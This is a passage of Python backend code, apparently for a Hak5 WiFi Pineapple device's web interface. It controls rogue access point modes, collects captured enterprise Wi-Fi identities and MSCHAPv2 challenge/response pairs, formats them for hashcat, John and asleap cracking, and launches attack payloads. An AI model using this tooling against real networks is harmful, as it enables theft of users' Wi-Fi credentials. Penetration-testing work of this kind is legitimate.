if kind == 'client':
|
|
keys = ('denied_macs', 'denied_macs') if mode == 'deny' else ('allowed_macs', 'allowed_macs')
|
|
else:
|
|
keys = ('denied_ssids', 'denied_ssids') if mode == 'deny' else ('allowed_ssids', 'allowed_ssids')
|
|
values = [str(e) for e in (_first_present(data, keys) or [])]
|
|
if kind == 'ssid':
|
|
decoded = []
|
|
for value in values:
|
|
try:
|
|
raw = base64.b64decode(value, validate=True)
|
|
decoded.append(raw.decode('utf-8'))
|
|
except (ValueError, TypeError):
|
|
decoded.append(value)
|
|
values = decoded
|
|
return {'mode': mode, 'entries': values, 'source': 'daemon'}
|
|
|
|
|
|
def _filter_from_hak5(kind):
|
|
prefix = FILTER_DAEMON[kind][2]
|
|
with _pineapd_cmd_lock:
|
|
rc, out, err = device_run([HAK5CMD, '%s_MODE' % prefix], timeout=5)
|
|
mode = _parse_filter_mode(out) or _parse_filter_mode(err)
|
|
entries = []
|
|
listed = False
|
|
for argv in ([HAK5CMD, '%s_LIST' % prefix, mode or 'deny'],
|
|
[HAK5CMD, '%s_LIST' % prefix]):
|
|
rc2, out2, err2 = device_run(argv, timeout=5)
|
|
if rc2 == 0:
|
|
listed = True
|
|
entries = _parse_filter_list(out2 or '')
|
|
break
|
|
if mode is None and not listed:
|
|
return None
|
|
return {'mode': mode or 'deny', 'entries': entries, 'source': 'hak5cmd'}
|
|
|
|
|
|
def load_pineap_state():
|
|
try:
|
|
with open(PINEAP_STATE_FILE) as f:
|
|
state = json.load(f)
|
|
return state if isinstance(state, dict) else {}
|
|
except Exception:
|
|
return {}
|
|
|
|
|
|
def save_pineap_state(state):
|
|
tmp = PINEAP_STATE_FILE + '.tmp'
|
|
with open(tmp, 'w') as f:
|
|
json.dump(state, f)
|
|
os.replace(tmp, PINEAP_STATE_FILE)
|
|
|
|
|
|
def update_pineap_state(mode=None, **flags):
|
|
state = load_pineap_state()
|
|
if mode is not None:
|
|
state['mode'] = mode
|
|
state.update(flags)
|
|
save_pineap_state(state)
|
|
return state
|
|
|
|
|
|
def h_pineap_mode_get(ctx):
|
|
state = load_pineap_state()
|
|
stored = state.get('mode')
|
|
_, config = daemon_sock_call('GET', '/api/pineap/get_config')
|
|
_, hostapd = daemon_sock_call('GET', '/api/pineap/hostapd/get_config')
|
|
collect = config.get('autossidpool') if isinstance(config, dict) else None
|
|
enabled = None
|
|
if isinstance(hostapd, dict) and 'pineap_disabled' in hostapd:
|
|
enabled = not bool(hostapd['pineap_disabled'])
|
|
|
|
# The mode is DERIVED from the live device state, never invented.
|
|
if enabled is not None and collect is not None:
|
|
live = 'passive' if enabled is False else ('active' if collect else 'advanced')
|
|
if stored == 'advanced':
|
|
mode = 'advanced'
|
|
elif stored == live:
|
|
mode = stored
|
|
else:
|
|
mode = live
|
|
state = update_pineap_state(mode=live, enabled=enabled, collect=collect,
|
|
karma=bool(enabled))
|
|
elif stored in ('passive', 'active', 'advanced'):
|
|
mode = stored
|
|
else:
|
|
mode = 'advanced'
|
|
|
|
result = dict(state)
|
|
result['mode'] = mode
|
|
if collect is not None:
|
|
result['collect'] = bool(collect)
|
|
if enabled is not None:
|
|
result['enabled'] = enabled
|
|
return 200, result
|
|
|
|
|
|
def h_pineap_mode_post(ctx):
|
|
mode = ((ctx.body or {}).get('mode') or '').strip().lower()
|
|
if mode not in ('passive', 'active', 'advanced'):
|
|
return 400, {'error': 'mode must be passive, active, or advanced'}
|
|
if mode == 'advanced':
|
|
return 200, update_pineap_state(mode='advanced')
|
|
|
|
enabled = mode == 'active'
|
|
steps = [
|
|
(('enable' if enabled else 'disable') + ' PineAP response engine',
|
|
'PUT', 'hostapd/enable_pineap', {'enable': enabled}),
|
|
('enable SSID collection', 'POST', 'ssidpool/enable_collect', {'enable': True}),
|
|
]
|
|
# NOTE: the SSID-pool broadcast step is intentionally omitted. The pool
|
|
# broadcast segfaults pineapd on this firmware (SIGSEGV crash-loop); the
|
|
# health monitor disables it and 'active' must not re-enable it.
|
|
for label, method, path, body in steps:
|
|
status, data = _daemon_proxy(method, path, body)
|
|
if status != 200:
|
|
return status, {'error': 'failed to ' + label, 'detail': data}
|
|
return 200, update_pineap_state(mode=mode, enabled=enabled, karma=enabled,
|
|
collect=True, advertise=False)
|
|
|
|
|
|
def h_filter_get(ctx, kind):
|
|
get_path, set_path, hak5_prefix = FILTER_DAEMON[kind]
|
|
status, data = daemon_sock_call('GET', '/api/pineap/%s' % get_path, timeout=4)
|
|
if status == 200 and isinstance(data, dict):
|
|
return 200, _filter_payload_from_daemon(kind, data)
|
|
fallback = _filter_from_hak5(kind)
|
|
if fallback:
|
|
return 200, fallback
|
|
return 200, {
|
|
'mode': 'deny',
|
|
'entries': [],
|
|
'source': 'unavailable',
|
|
'error': 'filter service did not answer',
|
|
}
|
|
|
|
|
|
def h_filter_post(ctx, kind):
|
|
body = ctx.body or {}
|
|
action = body.get('action')
|
|
_, _, prefix = FILTER_DAEMON[kind]
|
|
status, current = h_filter_get(ctx, kind)
|
|
if status != 200:
|
|
return status, current
|
|
mode = (body.get('mode') or current.get('mode') or '').strip()
|
|
if mode not in ('allow', 'deny'):
|
|
return 400, {'error': 'mode must be allow or deny'}
|
|
|
|
def run_filter(command, *args):
|
|
try:
|
|
hak5(command, *args)
|
|
except RuntimeError as exc:
|
|
return 502, {'error': 'filter command failed', 'detail': str(exc)}
|
|
return None
|
|
|
|
if action == 'set_mode':
|
|
failed = run_filter('%s_MODE' % prefix, mode)
|
|
elif action == 'add':
|
|
value = (body.get('value') or '').strip()
|
|
if not value:
|
|
return 400, {'error': 'value required'}
|
|
failed = run_filter('%s_ADD' % prefix, mode, value)
|
|
elif action == 'delete':
|
|
value = (body.get('value') or '').strip()
|
|
if not value:
|
|
return 400, {'error': 'value required'}
|
|
failed = run_filter('%s_DELETE' % prefix, mode, value)
|
|
elif action == 'clear':
|
|
failed = run_filter('%s_CLEAR' % prefix, mode)
|
|
elif action == 'allow_all':
|
|
# "deny" mode means allow by default. An empty deny list therefore
|
|
# allows every client/SSID without manufacturing wildcard entries.
|
|
failed = run_filter('%s_CLEAR' % prefix, 'deny')
|
|
if not failed:
|
|
failed = run_filter('%s_MODE' % prefix, 'deny')
|
|
else:
|
|
return 400, {'error': 'unknown action'}
|
|
if failed:
|
|
return failed
|
|
return h_filter_get(ctx, kind)
|
|
|
|
|
|
ENTERPRISE_TABLES = {'basic': 'hostap_basic', 'challenge': 'hostap_chalresp'}
|
|
|
|
RADIUS_CAPTURE_NOTE = (
|
|
'The Pager terminates EAP locally (PineAPE). 802.1X identities and the inner '
|
|
'MSCHAPv2 challenge/response — the credentials a RADIUS server would see — '
|
|
'are stored in recon.db. The device is not a UDP/1812 RADIUS proxy.'
|
|
)
|
|
|
|
|
|
def _blob_to_hex(value):
|
|
if value is None or value == '':
|
|
return ''
|
|
if isinstance(value, memoryview):
|
|
value = value.tobytes()
|
|
if isinstance(value, bytearray):
|
|
value = bytes(value)
|
|
if isinstance(value, bytes):
|
|
return value.hex()
|
|
text = str(value).strip()
|
|
if not text:
|
|
return ''
|
|
if text.startswith("X'") and text.endswith("'") and len(text) > 3:
|
|
return text[2:-1].lower()
|
|
if '\\x' in text:
|
|
raw = bytearray()
|
|
i = 0
|
|
n = len(text)
|
|
while i < n:
|
|
if (i + 3 < n and text[i] == '\\' and text[i + 1] == 'x'
|
|
and all(c in '0123456789abcdefABCDEF' for c in text[i + 2:i + 4])):
|
|
raw.append(int(text[i + 2:i + 4], 16))
|
|
i += 4
|
|
else:
|
|
raw.append(ord(text[i]) & 0xff)
|
|
i += 1
|
|
return bytes(raw).hex()
|
|
cleaned = text.replace(':', '').replace(' ', '')
|
|
if re.match(r'^[0-9A-Fa-f]+$', cleaned) and len(cleaned) % 2 == 0:
|
|
return cleaned.lower()
|
|
try:
|
|
return text.encode('latin-1').hex()
|
|
except Exception:
|
|
return text.encode('utf-8', 'replace').hex()
|
|
|
|
|
|
def _mschap_hashcat_5500(username, challenge_hex, response_hex):
|
|
user = (username or '').strip() or '*'
|
|
chal = (challenge_hex or '').lower()
|
|
resp = (response_hex or '').lower()
|
|
if not chal or not resp:
|
|
return ''
|
|
return '%s::::%s:%s' % (user, resp, chal)
|
|
|
|
|
|
def _mschap_john(username, challenge_hex, response_hex):
|
|
user = (username or '').strip() or '*'
|
|
chal = (challenge_hex or '').lower()
|
|
resp = (response_hex or '').lower()
|
|
if not chal or not resp:
|
|
return ''
|
|
return '%s:$NETNTLM$%s$%s' % (user, chal, resp)
|
|
|
|
|
|
def _format_basic_row(row):
|
|
row = dict(row or {})
|
|
for key, value in list(row.items()):
|
|
if isinstance(value, (bytes, bytearray, memoryview)):
|
|
row[key] = _blob_to_hex(value)
|
|
identity = row.get('identity') or row.get('username') or ''
|
|
row['identity'] = identity
|
|
if not row.get('username'):
|
|
row['username'] = identity
|
|
row['kind'] = 'eap-identity'
|
|
return row
|
|
|
|
|
|
def _format_chalresp_row(row):
|
|
row = dict(row or {})
|
|
chal = _blob_to_hex(row.get('challenge'))
|
|
resp = _blob_to_hex(row.get('response'))
|
|
user = row.get('username') or row.get('identity') or ''
|
|
row['username'] = user
|
|
row['challenge'] = chal
|
|
row['response'] = resp
|
|
row['hashcat'] = _mschap_hashcat_5500(user, chal, resp)
|
|
row['john'] = _mschap_john(user, chal, resp)
|
|
row['asleap'] = (
|
|
'asleap -C %s -R %s -W wordlist.txt' % (chal, resp) if chal and resp else '')
|
|
row['kind'] = 'mschapv2'
|
|
row['hashcat_mode'] = 5500
|
|
if isinstance(row.get('type'), (bytes, bytearray, memoryview)):
|
|
row['type'] = _blob_to_hex(row.get('type'))
|
|
return row
|
|
|
|
|
|
def _enterprise_basic_rows():
|
|
try:
|
|
rows = _db_rows(RECON_DB, 'SELECT * FROM hostap_basic ORDER BY time DESC')
|
|
except RuntimeError:
|
|
rows = []
|
|
return [_format_basic_row(r) for r in (rows or [])]
|
|
|
|
|
|
def _enterprise_chalresp_rows():
|
|
sql_hex = (
|
|
'SELECT id, scan, time, type, username, '
|
|
'lower(hex(challenge)) AS challenge, '
|
|
'lower(hex(response)) AS response, verified '
|
|
'FROM hostap_chalresp ORDER BY time DESC')
|
|
try:
|
|
rows = _db_rows(RECON_DB, sql_hex)
|
|
except RuntimeError:
|
|
try:
|
|
rows = _db_rows(RECON_DB, 'SELECT * FROM hostap_chalresp ORDER BY time DESC')
|
|
except RuntimeError:
|
|
rows = []
|
|
return [_format_chalresp_row(r) for r in (rows or [])]
|
|
|
|
|
|
def _enterprise_clients():
|
|
try:
|
|
rows = _db_rows(RECON_DB, 'SELECT * FROM hostap_client ORDER BY connected_time DESC')
|
|
except RuntimeError:
|
|
return []
|
|
out = []
|
|
for raw in rows or []:
|
|
item = dict(raw)
|
|
if 'ssid' in item:
|
|
item['ssid'] = decode_ssid(item.get('ssid'))
|
|
if item.get('mac'):
|
|
item['mac'] = fmt_mac(item.get('mac'))
|
|
out.append(item)
|
|
return out
|
|
|
|
|
|
def _enterprise_radius_payload():
|
|
basic = _enterprise_basic_rows()
|
|
chal = _enterprise_chalresp_rows()
|
|
log_items = _harvest_ent_log()
|
|
captures = []
|
|
for row in basic:
|
|
captures.append({
|
|
'kind': 'eap-identity',
|
|
'time': row.get('time'),
|
|
'username': row.get('identity') or row.get('username') or '',
|
|
'password': row.get('password') or '',
|
|
'type': row.get('type') or '',
|
|
'verified': row.get('verified'),
|
|
'source': 'recon.db',
|
|
})
|
|
for row in chal:
|
|
captures.append({
|
|
'kind': 'mschapv2',
|
|
'time': row.get('time'),
|
|
'username': row.get('username') or '',
|
|
'challenge': row.get('challenge') or '',
|
|
'response': row.get('response') or '',
|
|
'hashcat': row.get('hashcat') or '',
|
|
'john': row.get('john') or '',
|
|
'asleap': row.get('asleap') or '',
|
|
'type': row.get('type') or '',
|
|
'verified': row.get('verified'),
|
|
'source': 'recon.db',
|
|
})
|
|
for item in log_items:
|
|
kind = item.get('kind') or ''
|
|
captures.append({
|
|
'kind': kind,
|
|
'time': item.get('time'),
|
|
'username': item.get('username') or '',
|
|
'password': item.get('password') or '',
|
|
'challenge': item.get('challenge') or '',
|
|
'response': item.get('response') or '',
|
|
'hashcat': item.get('hashcat') or '',
|
|
'john': item.get('john') or '',
|
|
'source': item.get('source') or 'log',
|
|
})
|
|
captures.sort(key=lambda item: item.get('time') or 0, reverse=True)
|
|
uniq_hc = _unique_keep_order(
|
|
[row.get('hashcat') for row in chal] + [item.get('hashcat') for item in log_items])
|
|
uniq_j = _unique_keep_order(
|
|
[row.get('john') for row in chal] + [item.get('john') for item in log_items])
|
|
db_clients = _enterprise_clients()
|
|
live = []
|
|
seen_mac = set()
|
|
ssid = (_ent_state_loaded() or {}).get('ssid') or ''
|
|
stations = _ent_stations()
|
|
for mac in stations:
|
|
seen_mac.add(mac)
|
|
live.append({'mac': mac, 'ssid': ssid, 'source': 'hostapd',
|
|
'connected_time': None, 'disconnected_time': None})
|
|
for row in db_clients:
|
|
mac = (row.get('mac') or '').upper()
|
|
if mac in seen_mac:
|
|
continue
|
|
seen_mac.add(mac)
|
|
live.append(row)
|
|
return {
|
|
'note': RADIUS_CAPTURE_NOTE,
|
|
'identities': basic,
|
|
'mschapv2': chal,
|
|
'captures': captures,
|
|
'clients': live,
|
|
'stations': stations,
|
|
'log_captures': log_items,
|
|
'hashcat': {
|
|
'mode': 5500,
|
|
'lines': uniq_hc,
|
|
'command': 'hashcat -m 5500 hashes.5500 wordlist.txt',
|
|
},
|
|
'john': {
|
|
'lines': uniq_j,
|
|
'command': 'john --format=netntlm hashes.john',
|
|
},
|
|
}
|
|
|
|
|
|
def h_enterprise_data(ctx):
|
|
key = (ctx.args or [''])[0]
|
|
table = ENTERPRISE_TABLES.get(key)
|
|
if not table:
|
|
return 400, {'error': 'unknown table'}
|
|
if key == 'challenge':
|
|
rows = _enterprise_chalresp_rows()
|
|
else:
|
|
rows = _enterprise_basic_rows()
|
|
return 200, {'table': table, 'rows': rows}
|
|
|
|
|
|
def h_enterprise_radius(ctx):
|
|
return 200, _enterprise_radius_payload()
|
|
|
|
|
|
def h_enterprise_export(ctx):
|
|
kind = (ctx.args or ['hashcat'])[0]
|
|
payload = _enterprise_radius_payload()
|
|
stamp = int(time.time())
|
|
if kind == 'hashcat':
|
|
text = '\n'.join(payload['hashcat']['lines'])
|
|
if text:
|
|
text += '\n'
|
|
return 200, Download(text.encode('utf-8'), 'text/plain',
|
|
'pineape-mschapv2-%d.5500' % stamp)
|
|
if kind == 'john':
|
|
text = '\n'.join(payload['john']['lines'])
|
|
if text:
|
|
text += '\n'
|
|
return 200, Download(text.encode('utf-8'), 'text/plain',
|
|
'pineape-mschapv2-%d.john' % stamp)
|
|
if kind == 'json':
|
|
body = json.dumps(payload, indent=2, default=_json_default).encode('utf-8')
|
|
return 200, Download(body, 'application/json',
|
|
'pineape-radius-%d.json' % stamp)
|
|
return 400, {'error': 'unknown export'}
|
|
|
|
|
|
def h_enterprise_clear(ctx):
|
|
key = ((ctx.body or {}).get('table') or '').strip()
|
|
if key == 'all':
|
|
names = ['hostap_basic', 'hostap_chalresp']
|
|
else:
|
|
table = ENTERPRISE_TABLES.get(key)
|
|
if not table:
|
|
return 400, {'error': 'unknown table'}
|
|
names = [table]
|
|
try:
|
|
for table in names:
|
|
_db_write(RECON_DB, 'DELETE FROM %s' % table)
|
|
if key in ('all', 'challenge', 'basic'):
|
|
_save_ent_captures([])
|
|
try:
|
|
open(ENT_LOG, 'w').close()
|
|
except OSError:
|
|
pass
|
|
except RuntimeError as e:
|
|
return 502, {'error': str(e)}
|
|
return 200, {'ok': True, 'cleared': names}
|
|
|
|
|
|
def h_enterprise_log(ctx):
|
|
lines = []
|
|
try:
|
|
with open(ENT_LOG) as f:
|
|
lines = f.read().splitlines()[-120:]
|
|
except OSError:
|
|
pass
|
|
return 200, {
|
|
'lines': lines,
|
|
'captures': _harvest_ent_log(),
|
|
'stations': _ent_stations(),
|
|
}
|
|
|
|
|
|
def _proxy_json(method, path, body=None):
|
|
status, data = daemon_call(method, path, body=body, token=current_token())
|
|
if status != 200:
|
|
return (502 if status == 0 else status), {'error': 'daemon failed', 'detail': data}
|
|
return 200, (data if isinstance(data, dict) else {'ok': True})
|
|
|
|
|
|
def _payload_detail(data):
|
|
if isinstance(data, dict):
|
|
text = data.get('error') or data.get('detail')
|
|
if isinstance(text, str):
|
|
return text
|
|
return json.dumps(data)
|
|
if isinstance(data, bytes):
|
|
data = data.decode('utf-8', 'replace')
|
|
if isinstance(data, str):
|
|
try:
|
|
parsed = json.loads(data)
|
|
except Exception:
|
|
return data
|
|
if isinstance(parsed, dict):
|
|
text = parsed.get('error') or parsed.get('detail')
|
|
if isinstance(text, str):
|
|
return text
|
|
return data
|
|
return str(data) if data is not None else ''
|
|
|
|
|
|
def _payload_daemon(method, path, body=None):
|
|
status, data = daemon_call(method, path, body=body, token=current_token(), timeout=45)
|
|
if status != 200:
|
|
return (502 if status == 0 else status), {
|
|
'error': 'Pager payload service failed', 'detail': _payload_detail(data)}
|
|
if not isinstance(data, (dict, list)):
|
|
return 502, {'error': 'Pager payload service returned an invalid response'}
|
|
return 200, data
|
|
|
|
|
|
def _payload_key(value):
|
|
value = str(value or '')
|
|
return value if re.match(r'^[A-Za-z0-9._~-]+$', value) else ''
|
|
|
|
|
|
def _payload_installed_disk():
|
|
"""List payloads from disk when the stock portal API is unavailable."""
|
|
rows = []
|
|
for root in PAYLOAD_ROOTS:
|
|
user = os.path.join(root, 'user')
|
|
if not os.path.isdir(user):
|
|
continue
|
|
try:
|
|
categories = os.listdir(user)
|
|
except OSError:
|
|
continue
|
|
for category in categories:
|
|
catdir = os.path.join(user, category)
|
|
if not os.path.isdir(catdir):
|
|
continue
|
|
try:
|
|
names = os.listdir(catdir)
|
|
except OSError:
|
|
continue
|
|
for name in names:
|
|
path = os.path.join(catdir, name)
|
|
launch = os.path.join(path, 'payload.sh')
|
|
if not os.path.isfile(launch):
|
|
continue
|
|
manifest = {}
|
|
for fname in ('_hak5_manifest.json', 'manifest.json'):
|
|
mpath = os.path.join(path, fname)
|
|
if os.path.isfile(mpath):
|
|
try:
|
|
with open(mpath) as handle:
|
|
loaded = json.load(handle)
|
|
if isinstance(loaded, dict):
|
|
manifest = loaded
|
|
except (OSError, ValueError):
|
|
pass
|
|
break
|
|
key = manifest.get('key') or ('user~%s~%s' % (category, name))
|
|
rows.append({
|
|
'uuid': manifest.get('uuid', ''),
|
|
'key': key,
|
|
'path': path,
|
|
'category': manifest.get('category') or category,
|
|
'title': manifest.get('title') or name,
|
|
'author': manifest.get('author', ''),
|
|
'description': manifest.get('description', ''),
|
|
'version': manifest.get('version', ''),
|
|
'launchpoint': manifest.get('launchpoint') or 'payload.sh',
|
|
'interpreter': manifest.get('interpreter', ''),
|
|
'disabled': bool(manifest.get('disabled')),
|
|
'missingmanifest': not bool(manifest),
|
|
'update': None,
|
|
})
|
|
return 200, {'payloads': rows, 'source': 'disk'}
|
|
|
|
|
|
def _payload_installed():
|
|
status, data = _payload_daemon('POST', '/api/payloads/portal/updates', {})
|
|
if status != 200:
|
|
return _payload_installed_disk()
|
|
rows = []
|
|
for record in data if isinstance(data, list) else data.get('payloads', []):
|
|
if not isinstance(record, dict):
|
|
continue
|
|
item = record.get('installed') or {}
|
|
if not isinstance(item, dict):
|
|
continue
|
|
rows.append({
|
|
'uuid': item.get('uuid', ''),
|
|
'key': item.get('key', ''),
|
|
'path': item.get('path', ''),
|
|
'category': item.get('category', ''),
|
|
'title': item.get('title') or item.get('key', ''),
|
|
'author': item.get('author', ''),
|
|
'description': item.get('description', ''),
|
|
'version': item.get('version', ''),
|
|
'launchpoint': item.get('launchpoint') or 'payload.sh',
|
|
'interpreter': item.get('interpreter', ''),
|
|
'disabled': bool(item.get('disabled')),
|
|
'missingmanifest': bool(record.get('missingmanifest')),
|
|
'update': record.get('update') if isinstance(record.get('update'), dict) else None
|
|
})
|
|
return 200, {'payloads': rows}
|
|
|
|
|
|
def _payload_record(key):
|
|
status, data = _payload_installed()
|
|
if status != 200:
|
|
return status, data
|
|
for item in data.get('payloads', []):
|
|
if item.get('key') == key:
|
|
return 200, item
|
|
return 404, {'error': 'Installed payload not found'}
|
|
|
|
|
|
def _payload_safe_launch(item):
|
|
base = os.path.realpath(str(item.get('path') or ''))
|
|
launch = os.path.realpath(os.path.join(base, str(item.get('launchpoint') or 'payload.sh')))
|
|
allowed = any(base == root or base.startswith(root + os.sep) for root in PAYLOAD_ROOTS)
|
|
if (not allowed or launch == base or not launch.startswith(base + os.sep)
|
|
or not os.path.isfile(launch)):
|
|
return None
|
|
if base == SELF_PAYLOAD_DIR:
|
|
return None
|
|
return base, launch
|
|
|
|
|
|
def _payload_run_view(run, include_output=True):
|
|
proc = run.get('_process')
|
|
returncode = proc.poll() if proc is not None else run.get('returncode')
|
|
running = returncode is None
|
|
if not running and run.get('finished') is None:
|
|
run['finished'] = int(time.time())
|
|
run['returncode'] = returncode
|
|
view = {key: value for key, value in run.items() if not key.startswith('_') and key != 'log'}
|
|
view.update({'running': running, 'returncode': returncode})
|
|
if include_output:
|
|
output = ''
|
|
try:
|
|
with open(run.get('log', ''), 'rb') as handle:
|
|
handle.seek(0, 2)
|
|
size = handle.tell()
|
|
handle.seek(max(0, size - 65536))
|
|
output = handle.read().decode('utf-8', 'replace')
|
|
except OSError:
|
|
pass
|
|
view['output'] = output
|
|
return view
|
|
|
|
|
|
def h_payloads_index(ctx):
|
|
return _payload_daemon('GET', '/api/payloads/portal/index')
|
|
|
|
|
|
def h_payloads_installed(ctx):
|
|
return _payload_installed()
|
|
|
|
|
|
def h_payloads_refresh(ctx):
|
|
status, data = _payload_daemon('POST', '/api/payloads/portal/refresh', {})
|
|
if status == 200:
|
|
return status, data
|
|
_, disk = _payload_installed_disk()
|
|
disk['warning'] = 'Pager portal refresh failed; using on-disk payload list'
|
|
return 200, disk
|
|
|
|
|
|
def h_payloads_install(ctx):
|
|
key = _payload_key((ctx.body or {}).get('key', ''))
|
|
if not key:
|
|
return 400, {'error': 'key required'}
|
|
return _payload_daemon('POST', '/api/payloads/portal/%s/install' % key, {})
|
|
|
|
|
|
def h_payloads_remove(ctx):
|
|
key = _payload_key((ctx.body or {}).get('key', ''))
|
|
if not key:
|
|
return 400, {'error': 'key required'}
|
|
if key == SELF_PAYLOAD_KEY:
|
|
return 409, {'error': 'The active Mark VIII payload cannot remove itself'}
|
|
return _payload_daemon('POST', '/api/payloads/portal/%s/remove' % key, {})
|
|
|
|
|
|
def h_payloads_runs(ctx):
|
|
with _payload_runs_lock:
|
|
rows = [_payload_run_view(run) for run in _payload_runs.values()]
|
|
rows.sort(key=lambda row: row.get('started', 0), reverse=True)
|
|
return 200, {'runs': rows}
|
|
|
|
|
|
def h_payloads_run(ctx):
|
|
key = _payload_key((ctx.body or {}).get('key', ''))
|
|
if not key:
|
|
return 400, {'error': 'valid key required'}
|
|
status, item = _payload_record(key)
|
|
if status != 200:
|
|
return status, item
|
|
if item.get('disabled'):
|
|
return 409, {'error': 'This payload is disabled'}
|
|
safe = _payload_safe_launch(item)
|
|
if not safe:
|
|
if os.path.realpath(str(item.get('path') or '')) == SELF_PAYLOAD_DIR:
|
|
return 409, {'error': 'The Mark VIII payload cannot launch itself'}
|
|
return 409, {'error': 'Payload launchpoint is unavailable or unsafe'}
|
|
base, launch = safe
|
|
interpreter = str(item.get('interpreter') or '').strip()
|
|
command = [interpreter, launch] if interpreter else [launch]
|
|
try:
|
|
os.makedirs(PAYLOAD_RUN_DIR, exist_ok=True)
|
|
seed = '%s:%s:%s' % (key, time.time(), os.getpid())
|
|
run_id = hashlib.sha256(seed.encode()).hexdigest()[:12]
|
|
log_path = os.path.join(PAYLOAD_RUN_DIR, run_id + '.log')
|
|
log_handle = open(log_path, 'wb')
|
|
try:
|
|
proc = subprocess.Popen(command, cwd=base, stdout=log_handle,
|
|
stderr=subprocess.STDOUT, start_new_session=True)
|
|
finally:
|
|
log_handle.close()
|
|
except (OSError, ValueError) as exc:
|
|
return 500, {'error': 'Unable to launch payload: %s' % exc}
|
|
run = {
|
|
'id': run_id, 'key': key, 'title': item.get('title') or key,
|
|
'category': item.get('category', ''), 'path': base, 'pid': proc.pid,
|
|
'started': int(time.time()), 'finished': None, 'returncode': None,
|
|
'log': log_path, '_process': proc
|
|
}
|
|
with _payload_runs_lock:
|
|
_payload_runs[run_id] = run
|
|
return 200, {'run': _payload_run_view(run)}
|
|
|
|
|
|
def h_payloads_stop(ctx):
|
|
run_id = str((ctx.body or {}).get('id', ''))
|
|
with _payload_runs_lock:
|
|
run = _payload_runs.get(run_id)
|
|
if not run:
|
|
return 404, {'error': 'WebUI payload run not found'}
|
|
proc = run.get('_process')
|
|
if proc is None or proc.poll() is not None:
|
|
return 409, {'error': 'Payload is not running'}
|
|
try:
|
|
if hasattr(os, 'killpg'):
|
|
os.killpg(proc.pid, signal.SIGTERM)
|
|
else:
|
|
proc.terminate()
|
|
except OSError as exc:
|
|
return 500, {'error': 'Unable to stop payload: %s' % exc}
|
|
return 200, {'ok': True}
|
|
|
|
|
|
def _tail(text, lines):
|
|
return (text or '').splitlines()[-lines:] if lines else []
|
|
|
|
|
|
def _line_count(ctx, default, maximum=2000):
|
|
"""Parse and bound a log-tail line count from an HTTP query."""
|
|
try:
|
|
value = int(ctx.query.get('lines', default))
|
|
except (AttributeError, TypeError, ValueError):
|
|
value = default
|
|
return max(0, min(maximum, value))
|
|
|
|
|
|
def _tail_file(path, n):
|
|
try:
|
|
size = os.path.getsize(path)
|
|
with open(path, 'r', errors='replace') as f:
|
|
if size > 262144:
|
|
f.seek(max(0, size - 262144))
|
|
f.readline()
|
|
return _tail(f.read(), n)
|
|
except OSError:
|
|
return None
|
|
|
|
|
|
def _logread_lines(n, pattern=None, timeout=6):
|
|
n = max(0, min(int(n), 2000))
|
|
if n == 0:
|
|
return []
|
|
fetch = n if not pattern else min(2000, max(n * 4, 400))
|
|
argv = ['logread', '-l', str(fetch)]
|
|
if pattern:
|
|
argv.extend(['-e', pattern])
|
|
rc, out, err = device_run(argv, timeout=timeout)
|
|
combined = '%s %s' % (err or '', out or '')
|
|
if rc != 0 or re.search(r'invalid|unrecognized|unknown option|usage:', combined, re.I):
|
|
rc, out, err = device_run(['logread', '-l', str(fetch)], timeout=timeout)
|
|
if rc != 0:
|
|
rc, out, err = device_run(['logread'], timeout=timeout)
|
|
lines = (out or '').splitlines()
|
|
if pattern:
|
|
rx = re.compile(pattern, re.I)
|
|
lines = [line for line in lines if rx.search(line)]
|
|
return lines[-n:]
|
|
|
|
|
|
def h_logging_system(ctx):
|
|
n = _line_count(ctx, 200)
|
|
return 200, {'lines': _logread_lines(n)}
|
|
|
|
|
|
PINEAP_LOG = '/var/log/pineapd.log'
|
|
|
|
|
|
def h_logging_pineap(ctx):
|
|
n = _line_count(ctx, 200)
|
|
try:
|
|
if os.path.isfile(PINEAP_LOG):
|
|
tailed = _tail_file(PINEAP_LOG, n)
|
|
if tailed is not None:
|
|
return 200, {'lines': tailed}
|
|
except Exception:
|
|
pass
|
|
return 200, {'lines': _logread_lines(n, pattern=r'pineap|hostapd|eap')}
|
|
|
|
|
|
def h_settings_hostname(ctx):
|
|
if ctx.h.command == 'POST':
|
|
hostname = (ctx.body or {}).get('hostname', '').strip()
|
|
if not hostname:
|
|
return 400, {'error': 'hostname required'}
|
|
uci_set('system.@system[0].hostname', hostname)
|
|
return 200, {'hostname': hostname_data()}
|
|
|
|
|
|
def h_settings_password(ctx):
|
|
body = ctx.body or {}
|
|
newpw = body.get('new_password') or body.get('password', '')
|
|
if not newpw:
|
|
return 400, {'error': 'password required'}
|
|
if len(newpw) < 4:
|
|
return 400, {'error': 'password must be at least 4 characters'}
|
|
if any(ch in newpw for ch in ('\x00', '\r', '\n')):
|
|
return 400, {'error': 'password contains unsupported characters'}
|
|
repeat = body.get('repeat_password')
|
|
if repeat is not None and repeat != newpw:
|
|
return 400, {'error': 'new passwords do not match'}
|
|
current = body.get('current_password')
|
|
if current is not None:
|
|
status, data = daemon_call('POST', '/api/login',
|
|
body={'username': 'root', 'password': current})
|
|
if status != 200:
|
|
return 403, {'error': 'current password is incorrect'}
|
|
password_input = ('%s\n%s\n' % (newpw, newpw)).encode('utf-8')
|
|
rc, _, err = device_run(['/bin/passwd', 'root'], timeout=15,
|
|
input_data=password_input)
|
|
if rc != 0:
|
|
return 500, {'error': err.strip() or 'password change failed'}
|
|
try:
|
|
os.unlink(SESSION_FILE)
|
|
except OSError:
|
|
pass
|
|
return 200, {'ok': True}
|
|
|
|
|
|
def h_settings_ntp(ctx):
|
|
if ctx.h.command == 'POST':
|
|
body = ctx.body or {}
|
|
enabled = '1' if body.get('enabled', True) else '0'
|
|
uci_set('system.ntp.enabled', enabled)
|
|
servers = body.get('servers', [])
|
|
if isinstance(servers, list):
|
|
uci_delete('system.ntp.server')
|
|
for s in servers:
|
|
if s.strip():
|
|
uci_add_list('system.ntp.server', s.strip())
|
|
device_run(['/etc/init.d/sysntpd', 'restart'])
|
|
rc, out, err = device_run(['uci', 'show', 'system.ntp'])
|
|
raw = {}
|
|
for line in out.splitlines():
|
|
if '=' in line:
|
|
k, v = line.split('=', 1)
|
|
raw[k.strip()] = v.strip()
|
|
def values(value):
|
|
"""Parse the one-or-many shell-quoted values emitted by `uci show`."""
|
|
result = []
|
|
for match in re.finditer(r"'([^']*)'|\"([^\"]*)\"|([^\s]+)", value or ''):
|
|
result.append(next((g for g in match.groups() if g is not None), ''))
|
|
return result
|
|
servers = []
|
|
for k, v in raw.items():
|
|
if k.endswith('.server'):
|
|
servers.extend(values(v))
|
|
